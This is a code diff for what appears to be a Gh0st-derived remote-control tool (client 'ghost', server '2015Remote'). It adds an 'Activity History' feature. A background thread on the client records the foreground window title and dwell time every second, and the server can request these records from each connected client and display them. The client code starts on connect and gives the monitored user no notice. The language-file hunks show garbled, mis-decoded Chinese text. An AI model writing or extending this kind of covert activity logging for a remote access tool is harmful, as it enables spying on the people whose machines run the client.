diff --git a/client/ActivityHistory.cpp b/client/ActivityHistory.cpp
new file mode 100644
index 0000000..ce985a0
--- /dev/null
+++ b/client/ActivityHistory.cpp
@@ -0,0 +1,126 @@
+// ActivityHistory.cpp: 客户端历史活动记录采集模块
+
+#include "stdafx.h"
+#include "ActivityHistory.h"
+#include "KernelManager.h"   // ActivityWindow
+
+ActivityHistory& ActivityHistory::Instance()
+{
+    static ActivityHistory inst;
+    return inst;
+}
+
+void ActivityHistory::Start()
+{
+    if (m_started.exchange(true))
+        return;
+    m_running = true;
+    m_thread = std::thread(&ActivityHistory::Loop, this);
+}
+
+void ActivityHistory::Stop()
+{
+    m_running = false;
+    if (m_thread.joinable())
+        m_thread.join();
+}
+
+std::string ActivityHistory::Dump() const
+{
+    std::lock_guard<std::mutex> lock(m_mutex);
+    std::string out;
+    // 当前进行中的窗口：若已持续达到阈值，作为最新一条返回
+    if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
+        out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
+    for (const auto& r : m_records)
+        out += r + "\n";
+    return out;
+}
+
+void ActivityHistory::Loop()
+{
+    // 空闲打断阈值：远大于 ACTIVITY_MIN_DWELL_SEC，避免“停在一个窗口上看几秒”被过早结账。
+    const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
+
+    ActivityWindow aw;
+    HWND lastHwnd = NULL;
+    std::string lastTitle;
+    std::string startTime;
+    int dwellSec = 0;
+
+    while (m_running) {
+        // 取前台窗口句柄 + 标题；空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
+        HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
+        std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
+
+        {
+            std::lock_guard<std::mutex> lock(m_mutex);
+
+            if (hwnd == NULL || title.empty()) {
+                // 空闲/锁定/无标题：结账上一个窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = NULL;
+                lastTitle.clear();
+                dwellSec = 0;
+            } else if (hwnd == lastHwnd) {
+                // 同一窗口：即使标题动态变化也连续累计，标题取最新值
+                ++dwellSec;
+                lastTitle = title;
+            } else {
+                // 窗口切换：结账上一个，开始累计新窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = hwnd;
+                lastTitle = title;
+                startTime = NowStr();
+                dwellSec = 1;
+            }
+
+            while (m_records.size() > ACTIVITY_HISTORY_MAX)
+                m_records.pop_back();
+
+            m_curTitle = lastTitle;
+            m_curStartTime = startTime;
+            m_curDwellSec = dwellSec;
+        }
+
+        Sleep(1000);
+    }
+}
+
+std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
+{
+    // 标题里的换行会破坏“每行一条”，做最小清洗
+    std::string t;
+    t.reserve(title.size());
+    for (char c : title) {
+        if (c == '\r' || c == '\n') c = ' ';
+        t += c;
+    }
+    return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
+}
+
+std::string ActivityHistory::FormatDuration(int sec)
+{
+    if (sec < 0) sec = 0;
+    if (sec < 60)
+        return std::to_string(sec) + "s";
+    if (sec < 3600) {
+        int m = sec / 60, s = sec % 60;
+        return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
+                 : std::to_string(m) + "m";
+    }
+    int h = sec / 3600, m = (sec % 3600) / 60;
+    return std::to_string(h) + "h" + std::to_string(m) + "m";
+}
+
+std::string ActivityHistory::NowStr()
+{
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char buf[32];
+    sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
+              st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
+    return buf;
+}
diff --git a/client/ActivityHistory.h b/client/ActivityHistory.h
new file mode 100644
index 0000000..e77cd03
--- /dev/null
+++ b/client/ActivityHistory.h
@@ -0,0 +1,54 @@
+#pragma once
+#include <string>
+#include <deque>
+#include <mutex>
+#include <thread>
+#include <atomic>
+
+// 历史活动记录：
+//  每条格式：[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
+//  倒序存储（最新在前）。后台线程每 1 秒采样一次前台窗口。
+#define ACTIVITY_MIN_DWELL_SEC  5    // 一闪而过阈值（秒）：驻留低于此值不记录
+#define ACTIVITY_IDLE_BREAK_SEC 300  // 空闲打断阈值（秒）：空闲超过此值才结账当前窗口
+                                     // 注意：与心跳“活动窗口”列的 6s 判定不同，这里要远大于 MIN_DWELL，
+                                     // 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
+#define ACTIVITY_HISTORY_MAX    500  // 内存保留的最大记录条数
+
+class ActivityHistory
+{
+public:
+    static ActivityHistory& Instance();
+
+    // 启动常驻采样线程（幂等，重复调用无副作用）
+    void Start();
+    // 停止采样线程
+    void Stop();
+
+    // 返回全部历史记录（最新在前，多行文本，每行一条）
+    std::string Dump() const;
+
+private:
+    ActivityHistory() = default;
+    ~ActivityHistory() { Stop(); }
+    ActivityHistory(const ActivityHistory&) = delete;
+    ActivityHistory& operator=(const ActivityHistory&) = delete;
+
+    void Loop();
+
+    // 拼一条记录字符串
+    static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
+    // 时长格式化：Ns / Nm / NmNs / NhNm
+    static std::string FormatDuration(int sec);
+    // 当前时间戳 "YYYY-MM-DD HH:MM:SS"
+    static std::string NowStr();
+
+    mutable std::mutex m_mutex;
+    std::deque<std::string> m_records;   // 已完成记录，最新在前
+    std::string m_curTitle;              // 当前进行中的窗口标题
+    std::string m_curStartTime;          // 当前窗口的起始时间
+    int         m_curDwellSec = 0;       // 当前窗口已连续活跃秒数
+
+    std::atomic<bool> m_running{ false };
+    std::atomic<bool> m_started{ false };
+    std::thread m_thread;
+};
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 76c7dc3..d55f110 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -3,6 +3,7 @@
 
 #include "stdafx.h"
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include <common/iniFile.h>
 #include <common/LANChecker.h>
 #include <common/VerifyV2.h>
@@ -588,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
     std::string ip = settings.ServerIP();
     int port = settings.ServerPort();
     Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
+    ActivityHistory::Instance().Start();
     if (!app.m_bShared) {
         auto now = time(0);
         valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index b0aca5a..ebf843e 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -178,6 +178,7 @@
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="CaptureVideo.cpp" />
     <ClCompile Include="clang_rt_compat.c" />
     <ClCompile Include="ClientDll.cpp" />
@@ -225,6 +226,7 @@
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
     <ClInclude Include="Audio.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="Buffer.h" />
     <ClInclude Include="CaptureVideo.h" />
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 7456be6..a69cb2f 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -10,6 +10,7 @@
 #include <fstream>
 #include <corecrt_io.h>
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include "MemoryModule.h"
 #include "common/dllRunner.h"
 #include "server/2015Remote/pwd_gen.h"
@@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
         break;
     }
+    case COMMAND_QUERY_ACTIVITY: {
+        // 主连接一次性快照：直接 dump 历史活动并回传
+        std::string text = ActivityHistory::Instance().Dump();
+        std::vector<BYTE> pkt(1 + text.size());
+        pkt[0] = TOKEN_REPORT_ACTIVITY;
+        if (!text.empty())
+            memcpy(pkt.data() + 1, text.data(), text.size());
+        m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
+        break;
+    }
     case CMD_SET_GROUP: {
         std::string group = std::string((char*)szBuffer + 1);
         m_cfg->SetStr("settings", "group_name", group);
diff --git a/client/KernelManager.h b/client/KernelManager.h
index 1b04845..d512180 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -40,6 +40,24 @@ public:
         return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
     }
 
+    // 返回当前活跃窗口标题；若空闲（idle ≥ threshold_ms）或取不到标题则返回空串。
+    // 供历史活动采集使用，避免“判定活跃”与“取标题”之间的竞态窗口。
+    std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return std::string();
+        return GetActiveWindowTitle();
+    }
+
+    // 返回当前前台窗口句柄；空闲（idle ≥ threshold_ms）返回 NULL。
+    // 历史活动按窗口（HWND）而非标题字符串累计：标题动态变化时不会反复归零。
+    HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return NULL;
+        return GetForegroundWindow();
+    }
+
 private:
     std::string FormatMilliseconds(DWORD ms)
     {
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index a49d3c3..c94c427 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -185,6 +185,7 @@
     <ClCompile Include="..\common\ikcp.c" />
     <ClCompile Include="..\common\zstd_wrapper.c" />
     <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
@@ -234,6 +235,7 @@
     <ClInclude Include="..\common\wallet.h" />
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="Audio.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="auto_start.h" />
diff --git a/common/commands.h b/common/commands.h
index d2a9ce5..d8c1811 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -317,6 +317,8 @@ enum {
     TOKEN_REPORT_LOG = 156,
     COMMAND_FORBIDDEN = 157,
     CMD_CUSTOM_CURSOR = 158,
+    COMMAND_QUERY_ACTIVITY = 159,   // 服务端 → 客户端：索取历史活动
+    TOKEN_REPORT_ACTIVITY = 160,    // 客户端 → 服务端：上报历史活动
     
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index b605f2c..c3db3e2 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -15,6 +15,7 @@
 #include "TerminalDlg.h"
 #include "SystemDlg.h"
 #include "CClientLog.h"
+#include "CActivityDialog.h"
 #include "BuildDlg.h"
 #include "AudioDlg.h"
 #include "RegisterDlg.h"
@@ -1017,6 +1018,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
         ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager)
         ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug)
         ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog)
+        ON_COMMAND(ID_ONLINE_HISTORY_ACTIVITY, &CMy2015RemoteDlg::OnOnlineHistoryActivity)
         ON_COMMAND(ID_ONLINE_FORBIDDEN, &CMy2015RemoteDlg::OnOnlineForbidden)
         END_MESSAGE_MAP()
 
@@ -4249,6 +4251,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
         }
     }
 
+    // 客户管理子菜单：新增“历史活动”
+    CMenu* pClientMenu = FindSubMenuByCommand(SubMenu, ID_ONLINE_ASSIGN_TO);
+    if (pClientMenu) {
+        pClientMenu->InsertMenu(0, MF_BYPOSITION | MF_STRING, ID_ONLINE_HISTORY_ACTIVITY, _TR("历史活动"));
+    }
+
     // 创建一个新的子菜单
     CMenu newMenu;
     if (!newMenu.CreatePopupMenu()) {
@@ -5357,6 +5365,16 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
         }
         break;
     }
+    case TOKEN_REPORT_ACTIVITY: {
+        // 一次性快照：直接打开“历史活动”对话框展示，不占用 hDlg（避免与运行日志对话框冲突）
+        std::string text((char*)(szBuffer + 1), len > 1 ? len - 1 : 0);
+        CActivityDialog* dlg = new CActivityDialog(this, ContextObject->GetServer(), ContextObject);
+        dlg->Create(IDD_DIALOG_CLIENT_LOG, GetDesktopWindow());
+        dlg->ShowWindow(SW_SHOW);
+        if (!text.empty())
+            dlg->AppendLog(text);
+        break;
+    }
     case TOKEN_CLIENT_MSG: {
         ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
         PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
@@ -12015,6 +12033,12 @@ void CMy2015RemoteDlg::OnOnlineClientLog()
     SendSelectedCommand(&cmd, sizeof(BYTE));
 }
 
+void CMy2015RemoteDlg::OnOnlineHistoryActivity()
+{
+    BYTE cmd = COMMAND_QUERY_ACTIVITY;
+    SendSelectedCommand(&cmd, sizeof(BYTE));
+}
+
 LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam)
 {
     std::string* pInitLog = reinterpret_cast<std::string*>(wParam);
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index fa2ae8e..357b355 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -650,6 +650,7 @@ public:
     afx_msg void OnOnlineActiveWnd();
     afx_msg void OnEnableDevDebug();
     afx_msg void OnOnlineClientLog();
+    afx_msg void OnOnlineHistoryActivity();
     afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
     afx_msg void OnOnlineForbidden();
 };
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 1e972c7..94da9ef 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -291,6 +291,7 @@
     <ClInclude Include="BuildDlg.h" />
     <ClInclude Include="CClientListDlg.h" />
     <ClInclude Include="CClientLog.h" />
+    <ClInclude Include="CActivityDialog.h" />
     <ClInclude Include="LogSearchBar.h" />
     <ClInclude Include="CDlgFileSend.h" />
     <ClInclude Include="CDrawingBoard.h" />
@@ -374,6 +375,7 @@
   <ItemGroup>
     <ClCompile Include="..\..\client\Audio.cpp" />
     <ClCompile Include="CClientLog.cpp" />
+    <ClCompile Include="CActivityDialog.cpp" />
     <ClCompile Include="LogSearchBar.cpp" />
     <ClCompile Include="msvc_compat.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
diff --git a/server/2015Remote/CActivityDialog.cpp b/server/2015Remote/CActivityDialog.cpp
new file mode 100644
index 0000000..05292cd
--- /dev/null
+++ b/server/2015Remote/CActivityDialog.cpp
@@ -0,0 +1,98 @@
+// CActivityDialog.cpp: 历史活动展示对话框（一次性快照，无子连接）
+#include "stdafx.h"
+#include "afxdialogex.h"
+#include "CActivityDialog.h"
+#include "resource.h"
+#include "../../common/commands.h"
+
+IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx)
+
+CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
+    : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
+{
+}
+
+CActivityDialog::~CActivityDialog()
+{
+}
+
+void CActivityDialog::DoDataExchange(CDataExchange* pDX)
+{
+    CDialogBase::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
+}
+
+BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase)
+    ON_WM_SIZE()
+END_MESSAGE_MAP()
+
+BOOL CActivityDialog::OnInitDialog()
+{
+    CDialogBase::OnInitDialog();
+    SetWindowText(_TR("历史活动") + " - " + m_IPAddress);
+    HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
+    SetIcon(hIcon, TRUE);
+    SetIcon(hIcon, FALSE);
+    // 用 Segoe UI：MBCS 工程里模板默认字体是 Microsoft Sans Serif（无 Dingbats 字形），
+    // 显式指定 Segoe UI，中文走字体链接到微软雅黑、Dingbats（✻/✦）走 Segoe UI Symbol 回退。
+    m_font.CreatePointFont(90, _T("Segoe UI"));
+    m_editLog.SetFont(&m_font);
+    // 重建为 Unicode 编辑框：这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。
+    RebuildEdit(m_editLog);
+    return TRUE;
+}
+
+void CActivityDialog::RebuildEdit(CEdit& m_edit)
+{
+    CRect rc;
+    m_edit.GetWindowRect(&rc);
+    ScreenToClient(&rc);
+    DWORD style = m_edit.GetStyle();
+    DWORD exStyle = m_edit.GetExStyle();
+    HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
+    UINT  ctrlID = m_edit.GetDlgCtrlID();
+    m_edit.DestroyWindow();
+    HWND hEdit = ::CreateWindowExW(
+        exStyle, L"EDIT", L"", style,
+        rc.left, rc.top, rc.Width(), rc.Height(),
+        this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
+        AfxGetInstanceHandle(), NULL);
+    m_edit.Attach(hEdit);
+    if (hFont)
+        m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+}
+
+void CActivityDialog::OnSize(UINT nType, int cx, int cy)
+{
+    CDialogBase::OnSize(nType, cx, cy);
+    if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
+        m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
+}
+
+// 快照模式：无子连接，OnReceiveComplete 空实现（纯虚函数必须覆盖）
+void CActivityDialog::OnReceiveComplete()
+{
+}
+
+void CActivityDialog::AppendLog(const std::string& text)
+{
+    if (text.empty()) return;
+
+    // \n → \r\n，Windows 编辑框换行需要 \r\n
+    std::string norm;
+    norm.reserve(text.size() + 64);
+    for (size_t i = 0; i < text.size(); ++i) {
+        if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
+            norm += '\r';
+        norm += text[i];
+    }
+
+    // 服务端是 MBCS 工程，编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码；
+    // 与"活动窗口"列一致，用 W 接口显示：先把 UTF-8 转成宽字符，再走 WM_SETTEXTW 写入。
+    // （编辑框已在 OnInitDialog 中重建为 Unicode 窗口，SetWindowTextW 不会经过 CP_ACP 回转。）
+    int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0);
+    if (wlen <= 0) return;
+    std::wstring w(wlen, L'\0');
+    MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen);
+    ::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str());
+}
diff --git a/server/2015Remote/CActivityDialog.h b/server/2015Remote/CActivityDialog.h
new file mode 100644
index 0000000..7da3dc2
--- /dev/null
+++ b/server/2015Remote/CActivityDialog.h
@@ -0,0 +1,36 @@
+#pragma once
+#include "afxcmn.h"
+#include "IOCPServer.h"
+
+class CActivityDialog : public CDialogBase
+{
+    DECLARE_DYNAMIC(CActivityDialog)
+
+public:
+    CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
+    virtual ~CActivityDialog();
+
+    virtual void OnReceiveComplete();
+    void AppendLog(const std::string& text);
+
+protected:
+    virtual BOOL OnInitDialog();
+    virtual void DoDataExchange(CDataExchange* pDX);
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    // 把编辑框重建为 Unicode 类窗口（同 CKeyBoardDlg::RebuildEdit）。
+    // 工程是 MBCS，对话框模板创建的是 ANSI 编辑框，SetWindowTextW 会在 W->A
+    // 边界用 CP_ACP 转码，Dingbats（✻/✦）等字符会变 ?。重建为 Unicode 后
+    // W 版消息直通，不再走 CP_ACP。
+    void RebuildEdit(CEdit& m_edit);
+
+    CEdit m_editLog;
+    CFont m_font;   // 编辑框字体（成员持有，随对话框销毁，避免堆泄漏）
+
+#ifdef AFX_DESIGN_TIME
+    enum { IDD = IDD_DIALOG_CLIENT_LOG };
+#endif
+};
diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini
index fcc2830..815b061 100644
--- a/server/2015Remote/lang/en_US.ini
+++ b/server/2015Remote/lang/en_US.ini
@@ -1956,6 +1956,7 @@ FRPC Զ
 ����ʧ��! ͨ����Ȩ�޲���, ���ֶ���ϵͳ�����������á�=Failed! You have to set it via system environment center.
 ������־=Client Log
 �ͻ�����־=Client Log
+��ʷ�=Activity History
 ���ʹ��=Forbidden Client
 ȷ�����ѡ���ı��س�����?=Are you sure to forbidden the selected clients?
 �޽��=Not found
diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini
index 161ea67..00c8825 100644
--- a/server/2015Remote/lang/zh_TW.ini
+++ b/server/2015Remote/lang/zh_TW.ini
@@ -1947,6 +1947,7 @@ FRPC Զ
 ����ʧ��! ͨ����Ȩ�޲���, ���ֶ���ϵͳ�����������á�=����ʧ��! ͨ����Ȩ�޲���, ���ֶ���ϵͳ�����������á�
 ������־=������־
 �ͻ�����־=�ͻ�����־
+��ʷ�=�vʷ���
 ���ʹ��=���ʹ��
 ȷ�����ѡ���ı��س�����?=ȷ�����ѡ���ı��س�����?
 �޽��=�޽��
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 15850b4..4a97fca 100644
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
@@ -1028,6 +1028,7 @@
 #define ID_ONLINE_CLIENT_LOG            33074
 #define ID_ONLINE_33075                 33075
 #define ID_ONLINE_FORBIDDEN             33076
+#define ID_ONLINE_HISTORY_ACTIVITY      33082
 #define ID_EXIT_FULLSCREEN              40001
 
 // Next default values for new objects
@@ -1035,7 +1036,7 @@
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
 #define _APS_NEXT_RESOURCE_VALUE        398
-#define _APS_NEXT_COMMAND_VALUE         33082
+#define _APS_NEXT_COMMAND_VALUE         33083
 #define _APS_NEXT_CONTROL_VALUE         2542
 #define _APS_NEXT_SYMED_VALUE           105
 #endif